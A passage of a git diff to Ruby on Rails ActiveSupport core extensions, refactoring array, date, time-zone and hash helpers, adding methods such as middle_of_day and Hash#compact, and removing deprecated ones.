- # Blog.all.map(&:title) #=> ["First Post", "Second Post", "Third post"]
- #
- # <tt>to_formatted_s</tt> shows us:
- #
- # Blog.all.to_formatted_s # => "First PostSecond PostThird Post"
- #
- # Adding in the <tt>:db</tt> argument as the format yields a comma separated
- # id list:
+ # Extends <tt>Array#to_s</tt> to convert a collection of elements into a
+ # comma separated id list if <tt>:db</tt> argument is given as the format.
#
# Blog.all.to_formatted_s(:db) # => "1,2,3"
def to_formatted_s(format = :default)
diff --git a/activesupport/lib/active_support/core_ext/array/grouping.rb b/activesupport/lib/active_support/core_ext/array/grouping.rb
index dbddc7a7b4..3529d57174 100644
--- a/activesupport/lib/active_support/core_ext/array/grouping.rb
+++ b/activesupport/lib/active_support/core_ext/array/grouping.rb
@@ -31,9 +31,7 @@ class Array
if block_given?
collection.each_slice(number) { |slice| yield(slice) }
else
- groups = []
- collection.each_slice(number) { |group| groups << group }
- groups
+ collection.each_slice(number).to_a
end
end
@@ -55,7 +53,7 @@ class Array
# ["4", "5"]
# ["6", "7"]
def in_groups(number, fill_with = nil)
- # size / number gives minor group size;
+ # size.div number gives minor group size;
# size % number gives how many objects need extra accommodation;
# each group hold either division or division + 1 items.
division = size.div number
@@ -85,14 +83,28 @@ class Array
#
# [1, 2, 3, 4, 5].split(3) # => [[1, 2], [4, 5]]
# (1..10).to_a.split { |i| i % 3 == 0 } # => [[1, 2], [4, 5], [7, 8], [10]]
- def split(value = nil, &block)
- inject([[]]) do |results, element|
- if block && block.call(element) || value == element
- results << []
- else
- results.last << element
- end
+ def split(value = nil)
+ if block_given?
+ inject([[]]) do |results, element|
+ if yield(element)
+ results << []
+ else
+ results.last << element
+ end
+ results
+ end
+ else
+ results, arr = [[]], self.dup
+ until arr.empty?
+ if (idx = arr.index(value))
+ results.last.concat(arr.shift(idx))
+ arr.shift
+ results << []
+ else
+ results.last.concat(arr.shift(arr.size))
+ end
+ end
results
end
end
diff --git a/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
index 27718f19d4..f8d48b69df 100644
--- a/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
+++ b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
@@ -1,7 +1,7 @@
class Array
- # The human way of thinking about adding stuff to the end of a list is with append
+ # The human way of thinking about adding stuff to the end of a list is with append.
alias_method :append, :<<
- # The human way of thinking about adding stuff to the beginning of a list is with prepend
+ # The human way of thinking about adding stuff to the beginning of a list is with prepend.
alias_method :prepend, :unshift
end \ No newline at end of file
diff --git a/activesupport/lib/active_support/core_ext/array/uniq_by.rb b/activesupport/lib/active_support/core_ext/array/uniq_by.rb
deleted file mode 100644
index 23573c97de..0000000000
--- a/activesupport/lib/active_support/core_ext/array/uniq_by.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-class Array
- # *DEPRECATED*: Use <tt>Array#uniq</tt> instead.
- #
- # Returns a unique array based on the criteria in the block.
- #
- # [1, 2, 3, 4].uniq_by { |i| i.odd? } # => [1, 2]
- def uniq_by(&block)
- ActiveSupport::Deprecation.warn 'uniq_by is deprecated. Use Array#uniq instead'
- uniq(&block)
- end
-
- # *DEPRECATED*: Use <tt>Array#uniq!</tt> instead.
- #
- # Same as +uniq_by+, but modifies +self+.
- def uniq_by!(&block)
- ActiveSupport::Deprecation.warn 'uniq_by! is deprecated. Use Array#uniq! instead'
- uniq!(&block)
- end
-end
diff --git a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
index 39b8cea807..843c592669 100644
--- a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
@@ -1,22 +1,7 @@
require 'bigdecimal'
require 'bigdecimal/util'
-require 'yaml'
class BigDecimal
- YAML_MAPPING = { 'Infinity' => '.Inf', '-Infinity' => '-.Inf', 'NaN' => '.NaN' }
-
- def encode_with(coder)
- string = to_s
- coder.represent_scalar(nil, YAML_MAPPING[string] || string)
- end
-
- # Backport this method if it doesn't exist
- unless method_defined?(:to_d)
- def to_d
- self
- end
- end
-
DEFAULT_STRING_FORMAT = 'F'
def to_formatted_s(*args)
if args[0].is_a?(Symbol)
diff --git a/activesupport/lib/active_support/core_ext/big_decimal/yaml_conversions.rb b/activesupport/lib/active_support/core_ext/big_decimal/yaml_conversions.rb
new file mode 100644
index 0000000000..46ba93ead4
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/big_decimal/yaml_conversions.rb
@@ -0,0 +1,14 @@
+ActiveSupport::Deprecation.warn 'core_ext/big_decimal/yaml_conversions is deprecated and will be removed in the future.'
+
+require 'bigdecimal'
+require 'yaml'
+require 'active_support/core_ext/big_decimal/conversions'
+
+class BigDecimal
+ YAML_MAPPING = { 'Infinity' => '.Inf', '-Infinity' => '-.Inf', 'NaN' => '.NaN' }
+
+ def encode_with(coder)
+ string = to_s
+ coder.represent_scalar(nil, YAML_MAPPING[string] || string)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/class.rb b/activesupport/lib/active_support/core_ext/class.rb
index 86b752c2f3..c750a10bb2 100644
--- a/activesupport/lib/active_support/core_ext/class.rb
+++ b/activesupport/lib/active_support/core_ext/class.rb
@@ -1,4 +1,3 @@
require 'active_support/core_ext/class/attribute'
-require 'active_support/core_ext/class/attribute_accessors'
require 'active_support/core_ext/class/delegating_attributes'
require 'active_support/core_ext/class/subclasses'
diff --git a/activesupport/lib/active_support/core_ext/class/attribute.rb b/activesupport/lib/active_support/core_ext/class/attribute.rb
index 83038f9da5..f2a221c396 100644
--- a/activesupport/lib/active_support/core_ext/class/attribute.rb
+++ b/activesupport/lib/active_support/core_ext/class/attribute.rb
@@ -118,7 +118,10 @@ class Class
end
private
- def singleton_class?
- ancestors.first != self
+
+ unless respond_to?(:singleton_class?)
+ def singleton_class?
+ ancestors.first != self
+ end
end
end
diff --git a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
index 34859617c9..84d5e95e7a 100644
--- a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
+++ b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
@@ -1,170 +1,4 @@
-require 'active_support/core_ext/array/extract_options'
-
-# Extends the class object with class and instance accessors for class attributes,
-# just like the native attr* accessors for instance attributes.
-class Class
- # Defines a class attribute if it's not defined and creates a reader method that
- # returns the attribute value.
- #
- # class Person
- # cattr_reader :hair_colors
- # end
- #
- # Person.class_variable_set("@@hair_colors", [:brown, :black])
- # Person.hair_colors # => [:brown, :black]
- # Person.new.hair_colors # => [:brown, :black]
- #
- # The attribute name must be a valid method name in Ruby.
- #
- # class Person
- # cattr_reader :"1_Badname "
- # end
- # # => NameError: invalid attribute name
- #
- # If you want to opt out the instance reader method, you can pass <tt>instance_reader: false</tt>
- # or <tt>instance_accessor: false</tt>.
- #
- # class Person
- # cattr_reader :hair_colors, instance_reader: false
- # end
- #
- # Person.new.hair_colors # => NoMethodError
- def cattr_reader(*syms)
- options = syms.extract_options!
- syms.each do |sym|
- raise NameError.new("invalid class attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
- class_eval(<<-EOS, __FILE__, __LINE__ + 1)
- unless defined? @@#{sym}
- @@#{sym} = nil
- end
-
- def self.#{sym}
- @@#{sym}
- end
- EOS
-
- unless options[:instance_reader] == false || options[:instance_accessor] == false
- class_eval(<<-EOS, __FILE__, __LINE__ + 1)
- def #{sym}
- @@#{sym}
- end
- EOS
- end
- end
- end
-
- # Defines a class attribute if it's not defined and creates a writer method to allow
- # assignment to the attribute.
- #
- # class Person
- # cattr_writer :hair_colors
- # end
- #
- # Person.hair_colors = [:brown, :black]
- # Person.class_variable_get("@@hair_colors") # => [:brown, :black]
- # Person.new.hair_colors = [:blonde, :red]
- # Person.class_variable_get("@@hair_colors") # => [:blonde, :red]
- #
- # The attribute name must be a valid method name in Ruby.
- #
- # class Person
- # cattr_writer :"1_Badname "
- # end
- # # => NameError: invalid attribute name
- #
- # If you want to opt out the instance writer method, pass <tt>instance_writer: false</tt>
- # or <tt>instance_accessor: false</tt>.
- #
- # class Person
- # cattr_writer :hair_colors, instance_writer: false
- # end
- #
- # Person.new.hair_colors = [:blonde, :red] # => NoMethodError
- #
- # Also, you can pass a block to set up the attribute with a default value.
- #
- # class Person
- # cattr_writer :hair_colors do
- # [:brown, :black, :blonde, :red]
- # end
- # end
- #
- # Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
- def cattr_writer(*syms)
- options = syms.extract_options!
- syms.each do |sym|
- raise NameError.new("invalid class attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
- class_eval(<<-EOS, __FILE__, __LINE__ + 1)
- unless defined? @@#{sym}
- @@#{sym} = nil
- end
-
- def self.#{sym}=(obj)
- @@#{sym} = obj
- end
- EOS
-
- unless options[:instance_writer] == false || options[:instance_accessor] == false
- class_eval(<<-EOS, __FILE__, __LINE__ + 1)
- def #{sym}=(obj)
- @@#{sym} = obj
- end
- EOS
- end
- send("#{sym}=", yield) if block_given?
- end
- end
-
- # Defines both class and instance accessors for class attributes.
- #
- # class Person
- # cattr_accessor :hair_colors
- # end
- #
- # Person.hair_colors = [:brown, :black, :blonde, :red]
- # Person.hair_colors # => [:brown, :black, :blonde, :red]
- # Person.new.hair_colors # => [:brown, :black, :blonde, :red]
- #
- # If a subclass changes the value then that would also change the value for
- # parent class. Similarly if parent class changes the value then that would
- # change the value of subclasses too.
- #
- # class Male < Person
- # end
- #
- # Male.hair_colors << :blue
- # Person.hair_colors # => [:brown, :black, :blonde, :red, :blue]
- #
- # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
- # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
- #
- # class Person
- # cattr_accessor :hair_colors, instance_writer: false, instance_reader: false
- # end
- #
- # Person.new.hair_colors = [:brown] # => NoMethodError
- # Person.new.hair_colors # => NoMethodError
- #
- # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
- #
- # class Person
- # cattr_accessor :hair_colors, instance_accessor: false
- # end
- #
- # Person.new.hair_colors = [:brown] # => NoMethodError
- # Person.new.hair_colors # => NoMethodError
- #
- # Also you can pass a block to set up the attribute with a default value.
- #
- # class Person
- # cattr_accessor :hair_colors do
- # [:brown, :black, :blonde, :red]
- # end
- # end
- #
- # Person.class_variable_get("@@hair_colors") #=> [:brown, :black, :blonde, :red]
- def cattr_accessor(*syms, &blk)
- cattr_reader(*syms)
- cattr_writer(*syms, &blk)
- end
-end
+# cattr_* became mattr_* aliases in 7dfbd91b0780fbd6a1dd9bfbc176e10894871d2d,
+# but we keep this around for libraries that directly require it knowing they
+# want cattr_*. No need to deprecate.
+require 'active_support/core_ext/module/attribute_accessors'
diff --git a/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb b/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
index ff870f5fd1..1c305c5970 100644
--- a/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
+++ b/activesupport/lib/active_support/core_ext/class/delegating_attributes.rb
@@ -1,25 +1,30 @@
require 'active_support/core_ext/kernel/singleton_class'
require 'active_support/core_ext/module/remove_method'
+require 'active_support/core_ext/module/deprecation'
+
class Class
def superclass_delegating_accessor(name, options = {})
# Create private _name and _name= methods that can still be used if the public
- # methods are overridden. This allows
- _superclass_delegating_accessor("_#{name}")
+ # methods are overridden.
+ _superclass_delegating_accessor("_#{name}", options)
- # Generate the public methods name, name=, and name?
+ # Generate the public methods name, name=, and name?.
# These methods dispatch to the private _name, and _name= methods, making them
- # overridable
+ # overridable.
singleton_class.send(:define_method, name) { send("_#{name}") }
singleton_class.send(:define_method, "#{name}?") { !!send("_#{name}") }
singleton_class.send(:define_method, "#{name}=") { |value| send("_#{name}=", value) }
- # If an instance_reader is needed, generate methods for name and name= on the
- # class itself, so instances will be able to see them
- define_method(name) { send("_#{name}") } if options[:instance_reader] != false
- define_method("#{name}?") { !!send("#{name}") } if options[:instance_reader] != false
+ # If an instance_reader is needed, generate public instance methods name and name?.
+ if options[:instance_reader] != false
+ define_method(name) { send("_#{name}") }
+ define_method("#{name}?") { !!send("#{name}") }
+ end
end
+ deprecate superclass_delegating_accessor: :class_attribute
+
private
# Take the object being set and store it in a method. This gives us automatic
# inheritance behavior, without having to store the object in an instance
diff --git a/activesupport/lib/active_support/core_ext/date/calculations.rb b/activesupport/lib/active_support/core_ext/date/calculations.rb
index 06e4847e82..c60e833441 100644
--- a/activesupport/lib/active_support/core_ext/date/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date/calculations.rb
@@ -69,6 +69,16 @@ class Date
alias :at_midnight :beginning_of_day
alias :at_beginning_of_day :beginning_of_day
+ # Converts Date to a Time (or DateTime if necessary) with the time portion set to the middle of the day (12:00)
+ def middle_of_day
+ in_time_zone.middle_of_day
+ end
+ alias :midday :middle_of_day
+ alias :noon :middle_of_day
+ alias :at_midday :middle_of_day
+ alias :at_noon :middle_of_day
+ alias :at_middle_of_day :middle_of_day
+
# Converts Date to a Time (or DateTime if necessary) with the time portion set to the end of the day (23:59:59)
def end_of_day
in_time_zone.end_of_day
diff --git a/activesupport/lib/active_support/core_ext/date/conversions.rb b/activesupport/lib/active_support/core_ext/date/conversions.rb
index 0637fe4929..df419a6e63 100644
--- a/activesupport/lib/active_support/core_ext/date/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/date/conversions.rb
@@ -1,6 +1,7 @@
require 'date'
require 'active_support/inflector/methods'
require 'active_support/core_ext/date/zones'
+require 'active_support/core_ext/module/remove_method'
class Date
DATE_FORMATS = {
@@ -12,14 +13,17 @@ class Date
day_format = ActiveSupport::Inflector.ordinalize(date.day)
date.strftime("%B #{day_format}, %Y") # => "April 25th, 2007"
},
- :rfc822 => '%e %b %Y'
+ :rfc822 => '%e %b %Y',
+ :iso8601 => lambda { |date| date.iso8601 }
}
# Ruby 1.9 has Date#to_time which converts to localtime only.
remove_method :to_time
- # Ruby 1.9 has Date#xmlschema which converts to a string without the time component.
- remove_method :xmlschema
+ # Ruby 1.9 has Date#xmlschema which converts to a string without the time
+ # component. This removal may generate an issue on FreeBSD, that's why we
+ # need to use remove_possible_method here
+ remove_possible_method :xmlschema
# Convert to a formatted string. See DATE_FORMATS for predefined formats.
#
@@ -34,13 +38,14 @@ class Date
# date.to_formatted_s(:long) # => "November 10, 2007"
# date.to_formatted_s(:long_ordinal) # => "November 10th, 2007"
# date.to_formatted_s(:rfc822) # => "10 Nov 2007"
+ # date.to_formatted_s(:iso8601) # => "2007-11-10"
#
- # == Adding your own time formats to to_formatted_s
+ # == Adding your own date formats to to_formatted_s
# You can add your own formats to the Date::DATE_FORMATS hash.
# Use the format name as the hash key and either a strftime string
# or Proc instance that takes a date argument as the value.
#
- # # config/initializers/time_formats.rb
+ # # config/initializers/date_formats.rb
# Date::DATE_FORMATS[:month_and_year] = '%B %Y'
# Date::DATE_FORMATS[:short_ordinal] = ->(date) { date.strftime("%B #{date.day.ordinalize}") }
def to_formatted_s(format = :default)
diff --git a/activesupport/lib/active_support/core_ext/date/zones.rb b/activesupport/lib/active_support/core_ext/date/zones.rb
index b4548671bf..d109b430db 100644
--- a/activesupport/lib/active_support/core_ext/date/zones.rb
+++ b/activesupport/lib/active_support/core_ext/date/zones.rb
@@ -1,37 +1,6 @@
require 'date'
-require 'active_support/core_ext/time/zones'
+require 'active_support/core_ext/date_and_time/zones'
class Date
- # *DEPRECATED*: Use +Date#in_time_zone+ instead.
- #
- # Converts Date to a TimeWithZone in the current zone if <tt>Time.zone</tt> or
- # <tt>Time.zone_default</tt> is set, otherwise converts Date to a Time via
- # Date#to_time.
- def to_time_in_current_zone
- ActiveSupport::Deprecation.warn 'Date#to_time_in_current_zone is deprecated. Use Date#in_time_zone instead', caller
-
- if ::Time.zone
- ::Time.zone.local(year, month, day)
- else
- to_time
- end
- end
-
- # Converts Date to a TimeWithZone in the current zone if Time.zone or Time.zone_default
- # is set, otherwise converts Date to a Time via Date#to_time
- #
- # Time.zone = 'Hawaii' # => 'Hawaii'
- # Date.new(2000).in_time_zone # => Sat, 01 Jan 2000 00:00:00 HST -10:00
- #
- # You can also pass in a TimeZone instance or string that identifies a TimeZone as an argument,
- # and the conversion will be based on that zone instead of <tt>Time.zone</tt>.
- #
- # Date.new(2000).in_time_zone('Alaska') # => Sat, 01 Jan 2000 00:00:00 AKST -09:00
- def in_time_zone(zone = ::Time.zone)
- if zone
- ::Time.find_zone!(zone).local(year, month, day)
- else
- to_time
- end
- end
+ include DateAndTime::Zones
end
diff --git a/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
index 0d14cba7cc..b85e49aca5 100644
--- a/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
@@ -78,7 +78,7 @@ module DateAndTime
# Returns a new date/time at the start of the month.
# DateTime objects will have a time set to 0:00.
def beginning_of_month
- first_hour{ change(:day => 1) }
+ first_hour(change(:day => 1))
end
alias :at_beginning_of_month :beginning_of_month
@@ -113,7 +113,7 @@ module DateAndTime
# which is determined by +Date.beginning_of_week+ or +config.beginning_of_week+
# when set. +DateTime+ objects have their time set to 0:00.
def next_week(given_day_in_next_week = Date.beginning_of_week)
- first_hour{ weeks_since(1).beginning_of_week.days_since(days_span(given_day_in_next_week)) }
+ first_hour(weeks_since(1).beginning_of_week.days_since(days_span(given_day_in_next_week)))
end
# Short-hand for months_since(1).
@@ -136,7 +136,7 @@ module DateAndTime
# +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
# DateTime objects have their time set to 0:00.
def prev_week(start_day = Date.beginning_of_week)
- first_hour{ weeks_ago(1).beginning_of_week.days_since(days_span(start_day)) }
+ first_hour(weeks_ago(1).beginning_of_week.days_since(days_span(start_day)))
end
alias_method :last_week, :prev_week
@@ -188,7 +188,7 @@ module DateAndTime
# +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
# DateTime objects have their time set to 23:59:59.
def end_of_week(start_day = Date.beginning_of_week)
- last_hour{ days_since(6 - days_to_week_start(start_day)) }
+ last_hour(days_since(6 - days_to_week_start(start_day)))
end
alias :at_end_of_week :end_of_week
@@ -202,7 +202,7 @@ module DateAndTime
# DateTime objects will have a time set to 23:59:59.
def end_of_month
last_day = ::Time.days_in_month(month, year)
- last_hour{ days_since(last_day - day) }
+ last_hour(days_since(last_day - day))
end
alias :at_end_of_month :end_of_month
@@ -213,16 +213,35 @@ module DateAndTime
end
alias :at_end_of_year :end_of_year
+ # Returns a Range representing the whole week of the current date/time.
+ # Week starts on start_day, default is <tt>Date.week_start</tt> or <tt>config.week_start</tt> when set.
+ def all_week(start_day = Date.beginning_of_week)
+ beginning_of_week(start_day)..end_of_week(start_day)
+ end
+
+ # Returns a Range representing the whole month of the current date/time.
+ def all_month
+ beginning_of_month..end_of_month
+ end
+
+ # Returns a Range representing the whole quarter of the current date/time.
+ def all_quarter
+ beginning_of_quarter..end_of_quarter
+ end
+
+ # Returns a Range representing the whole year of the current date/time.
+ def all_year
+ beginning_of_year..end_of_year
+ end
+
private
- def first_hour
- result = yield
- acts_like?(:time) ? result.change(:hour => 0) : result
+ def first_hour(date_or_time)
+ date_or_time.acts_like?(:time) ? date_or_time.beginning_of_day : date_or_time
end
- def last_hour
- result = yield
- acts_like?(:time) ? result.end_of_day : result
+ def last_hour(date_or_time)
+ date_or_time.acts_like?(:time) ? date_or_time.end_of_day : date_or_time
end
def days_span(day)
diff --git a/activesupport/lib/active_support/core_ext/date_and_time/zones.rb b/activesupport/lib/active_support/core_ext/date_and_time/zones.rb
new file mode 100644
index 0000000000..96c6df9407
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_and_time/zones.rb
@@ -0,0 +1,41 @@
+module DateAndTime
+ module Zones
+ # Returns the simultaneous time in <tt>Time.zone</tt> if a zone is given or
+ # if Time.zone_default is set. Otherwise, it returns the current time.
+ #
+ # Time.zone = 'Hawaii' # => 'Hawaii'
+ # DateTime.utc(2000).in_time_zone # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+ # Date.new(2000).in_time_zone # => Sat, 01 Jan 2000 00:00:00 HST -10:00
+ #
+ # This method is similar to Time#localtime, except that it uses <tt>Time.zone</tt> as the local zone
+ # instead of the operating system's time zone.
+ #
+ # You can also pass in a TimeZone instance or string that identifies a TimeZone as an argument,
+ # and the conversion will be based on that zone instead of <tt>Time.zone</tt>.
+ #
+ # Time.utc(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
+ # DateTime.utc(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
+ # Date.new(2000).in_time_zone('Alaska') # => Sat, 01 Jan 2000 00:00:00 AKST -09:00
+ def in_time_zone(zone = ::Time.zone)
+ time_zone = ::Time.find_zone! zone
+ time = acts_like?(:time) ? self : nil
+
+ if time_zone
+ time_with_zone(time, time_zone)
+ else
+ time || self.to_time
+ end
+ end
+
+ private
+
+ def time_with_zone(time, zone)
+ if time
+ ActiveSupport::TimeWithZone.new(time.utc? ? time : time.getutc, zone)
+ else
+ ActiveSupport::TimeWithZone.new(nil, zone, to_time(:utc))
+ end
+ end
+ end
+end
+
diff --git a/activesupport/lib/active_support/core_ext/date_time/acts_like.rb b/activesupport/lib/active_support/core_ext/date_time/acts_like.rb
index c79745c5aa..8fbbe0d3e9 100644
--- a/activesupport/lib/active_support/core_ext/date_time/acts_like.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/acts_like.rb
@@ -1,3 +1,4 @@
+require 'date'
require 'active_support/core_ext/object/acts_like'
class DateTime
diff --git a/activesupport/lib/active_support/core_ext/date_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
index 937567440b..73ad0aa097 100644
--- a/activesupport/lib/active_support/core_ext/date_time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
@@ -1,15 +1,7 @@
require 'date'
-require 'active_support/deprecation'
class DateTime
class << self
- # *DEPRECATED*: Use +DateTime.civil_from_format+ directly.
- def local_offset
- ActiveSupport::Deprecation.warn 'DateTime.local_offset is deprecated. Use DateTime.civil_from_format directly.'
-
- ::Time.local(2012).utc_offset.to_r / 86400
- end
-
# Returns <tt>Time.zone.now.to_datetime</tt> when <tt>Time.zone</tt> or
# <tt>config.time_zone</tt> are set, otherwise returns
# <tt>Time.now.to_datetime</tt>.
@@ -18,16 +10,6 @@ class DateTime
end
end
- # Tells whether the DateTime object's datetime lies in the past.
- def past?
- self < ::DateTime.current
- end
-
- # Tells whether the DateTime object's datetime lies in the future.
- def future?
- self > ::DateTime.current
- end
-
# Seconds since midnight: DateTime.now.seconds_since_midnight.
def seconds_since_midnight
sec + (min * 60) + (hour * 3600)
@@ -107,6 +89,16 @@ class DateTime
alias :at_midnight :beginning_of_day
alias :at_beginning_of_day :beginning_of_day
+ # Returns a new DateTime representing the middle of the day (12:00)
+ def middle_of_day
+ change(:hour => 12)
+ end
+ alias :midday :middle_of_day
+ alias :noon :middle_of_day
+ alias :at_midday :middle_of_day
+ alias :at_noon :middle_of_day
+ alias :at_middle_of_day :middle_of_day
+
# Returns a new DateTime representing the end of the day (23:59:59).
def end_of_day
change(:hour => 23, :min => 59, :sec => 59)
@@ -159,7 +151,11 @@ class DateTime
# Layers additional behavior on DateTime#<=> so that Time and
# ActiveSupport::TimeWithZone instances can be compared with a DateTime.
def <=>(other)
- super other.to_datetime
+ if other.respond_to? :to_datetime
+ super other.to_datetime
+ else
+ nil
+ end
end
end
diff --git a/activesupport/lib/active_support/core_ext/date_time/conversions.rb b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
index c44626aed9..6ddfb72a0d 100644
--- a/activesupport/lib/active_support/core_ext/date_time/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
@@ -19,6 +19,7 @@ class DateTime
# datetime.to_formatted_s(:long) # => "December 04, 2007 00:00"
# datetime.to_formatted_s(:long_ordinal) # => "December 4th, 2007 00:00"
# datetime.to_formatted_s(:rfc822) # => "Tue, 04 Dec 2007 00:00:00 +0000"
+ # datetime.to_formatted_s(:iso8601) # => "2007-12-04T00:00:00+00:00"
#
# == Adding your own datetime formats to to_formatted_s
# DateTime formats are shared with Time. You can add your own to the
diff --git a/activesupport/lib/active_support/core_ext/date_time/zones.rb b/activesupport/lib/active_support/core_ext/date_time/zones.rb
index 01a627f8af..c39f358395 100644
--- a/activesupport/lib/active_support/core_ext/date_time/zones.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/zones.rb
@@ -1,25 +1,6 @@
require 'date'
-require 'active_support/core_ext/time/zones'
+require 'active_support/core_ext/date_and_time/zones'
class DateTime
- # Returns the simultaneous time in <tt>Time.zone</tt>.
- #
- # Time.zone = 'Hawaii' # => 'Hawaii'
- # DateTime.new(2000).in_time_zone # => Fri, 31 Dec 1999 14:00:00 HST -10:00
- #
- # This method is similar to Time#localtime, except that it uses <tt>Time.zone</tt>
- # as the local zone instead of the operating system's time zone.
- #
- # You can also pass in a TimeZone instance or string that identifies a TimeZone
- # as an argument, and the conversion will be based on that zone instead of
- # <tt>Time.zone</tt>.
- #
- # DateTime.new(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
- def in_time_zone(zone = ::Time.zone)
- if zone
- ActiveSupport::TimeWithZone.new(utc? ? self : getutc, ::Time.find_zone!(zone))
- else
- self
- end
- end
+ include DateAndTime::Zones
end
diff --git a/activesupport/lib/active_support/core_ext/enumerable.rb b/activesupport/lib/active_support/core_ext/enumerable.rb
index 4501b7ff58..1343beb87a 100644
--- a/activesupport/lib/active_support/core_ext/enumerable.rb
+++ b/activesupport/lib/active_support/core_ext/enumerable.rb
@@ -35,7 +35,7 @@ module Enumerable
if block_given?
Hash[map { |elem| [yield(elem), elem] }]
else
- to_enum :index_by
+ to_enum(:index_by) { size if respond_to?(:size) }
end
end
diff --git a/activesupport/lib/active_support/core_ext/file/atomic.rb b/activesupport/lib/active_support/core_ext/file/atomic.rb
index c3e6124a57..0e7e3ba378 100644
--- a/activesupport/lib/active_support/core_ext/file/atomic.rb
+++ b/activesupport/lib/active_support/core_ext/file/atomic.rb
@@ -23,7 +23,7 @@ class File
yield temp_file
temp_file.close
- if File.exists?(file_name)
+ if File.exist?(file_name)
# Get original file permissions
old_stat = stat(file_name)
else
diff --git a/activesupport/lib/active_support/core_ext/hash.rb b/activesupport/lib/active_support/core_ext/hash.rb
index 501483498d..f68e1662f9 100644
--- a/activesupport/lib/active_support/core_ext/hash.rb
+++ b/activesupport/lib/active_support/core_ext/hash.rb
@@ -1,6 +1,6 @@
+require 'active_support/core_ext/hash/compact'
require 'active_support/core_ext/hash/conversions'
require 'active_support/core_ext/hash/deep_merge'
-require 'active_support/core_ext/hash/diff'
require 'active_support/core_ext/hash/except'
require 'active_support/core_ext/hash/indifferent_access'
require 'active_support/core_ext/hash/keys'
diff --git a/activesupport/lib/active_support/core_ext/hash/compact.rb b/activesupport/lib/active_support/core_ext/hash/compact.rb
new file mode 100644
index 0000000000..6566215a4d
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/compact.rb
@@ -0,0 +1,20 @@
+class Hash
+ # Returns a hash with non +nil+ values.
+ #
+ # hash = { a: true, b: false, c: nil}
+ # hash.compact # => { a: true, b: false}
+ # hash # => { a: true, b: false, c: nil}
+ # { c: nil }.compact # => {}
+ def compact
+ self.select { |_, value| !value.nil? }
+ end
+
+ # Replaces current hash with non +nil+ values.
+ #
+ # hash = { a: true, b: false, c: nil}
+ # hash.compact! # => { a: true, b: false}
+ # hash # => { a: true, b: false}
+ def compact!
+ self.reject! { |_, value| value.nil? }
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/conversions.rb b/activesupport/lib/active_support/core_ext/hash/conversions.rb
index 8930376ac8..6c3e48a3ca 100644
--- a/activesupport/lib/active_support/core_ext/hash/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/hash/conversions.rb
@@ -10,7 +10,7 @@ require 'active_support/core_ext/string/inflections'
class Hash
# Returns a string containing an XML representation of its receiver:
#
- # {'foo' => 1, 'bar' => 2}.to_xml
+ # { foo: 1, bar: 2 }.to_xml
# # =>
# # <?xml version="1.0" encoding="UTF-8"?>
# # <hash>
@@ -43,7 +43,10 @@ class Hash
# end
#
# { foo: Foo.new }.to_xml(skip_instruct: true)
- # # => "<hash><bar>fooing!</bar></hash>"
+ # # =>
+ # # <hash>
+ # # <bar>fooing!</bar>
+ # # </hash>
#
# * Otherwise, a node with +key+ as tag is created with a string representation of
# +value+ as text node. If +value+ is +nil+ an attribute "nil" set to "true" is added.
@@ -102,7 +105,7 @@ class Hash
# hash = Hash.from_xml(xml)
# # => {"hash"=>{"foo"=>1, "bar"=>2}}
#
- # DisallowedType is raise if the XML contains attributes with <tt>type="yaml"</tt> or
+ # +DisallowedType+ is raised if the XML contains attributes with <tt>type="yaml"</tt> or
# <tt>type="symbol"</tt>. Use <tt>Hash.from_trusted_xml</tt> to parse this XML.
def from_xml(xml, disallowed_types = nil)
ActiveSupport::XMLConverter.new(xml, disallowed_types).to_h
@@ -201,7 +204,7 @@ module ActiveSupport
end
def become_empty_string?(value)
- # {"string" => true}
+ # { "string" => true }
# No tests fail when the second term is removed.
value['type'] == 'string' && value['nil'] != 'true'
end
@@ -238,4 +241,3 @@ module ActiveSupport
end
end
-
